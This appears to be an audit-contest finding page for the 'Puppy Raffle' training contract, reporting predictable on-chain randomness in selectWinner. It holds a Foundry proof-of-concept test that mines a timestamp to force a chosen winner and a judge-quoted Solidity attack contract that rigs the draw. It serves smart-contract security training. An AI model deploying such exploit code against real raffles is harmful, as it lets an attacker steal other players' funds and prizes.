Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-3] Weak Randomness in selectWinner allows anyone to choose the winner

alenkte

Summary

The selectWinner function uses predictable on-chain variables (msg.sender, block.timestamp, block.difficulty) to determine the winner. This allows a malicious player to manipulate the outcome or simply "reroll" the winner until they win.

Vulnerability Details

The RNG (Random Number Generator) logic relies on values that are visible to the public or controllable by the caller.

​
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

A user can simulate this calculation locally. If msg.sender is the only variable they control, they can calculate exactly when to call the function to ensure the winnerIndex lands on their address index.

Proof of Concept

This test proves that we can predict the winner 100% of the time.

Click to view Foundry PoC
function test_ForceWinnerIndex3() public {
// 1. Setup 4 players
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4); // <--- We want THIS one to win
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
// 2. "Mine" for the winner
// We loop through timestamps until we find one that makes Index 3 win
uint256 duration = puppyRaffle.raffleDuration();
uint256 winnerIndex;
uint256 currentTimestamp = block.timestamp + duration + 1;
while (true) {
// Calculate the hypothetical winner for this timestamp
winnerIndex = uint256(
keccak256(
abi.encodePacked(address(this), currentTimestamp, block.difficulty)
)
) % players.length;
​
// If we found the "magic winner index", STOP!
if (winnerIndex == 3) {
break;
}
// Otherwise, try the next timestamp
currentTimestamp++;
}
​
// 3. Set the blockchain time to our "magic winner timestamp"
vm.warp(currentTimestamp);
​
// 4. Call the selectWinner function
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), players[3]);
}

Recommended Mitigation

Do not use on-chain data for randomness. Use a verifiable off-chain source like Chainlink VRF (Verifiable Random Function).
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!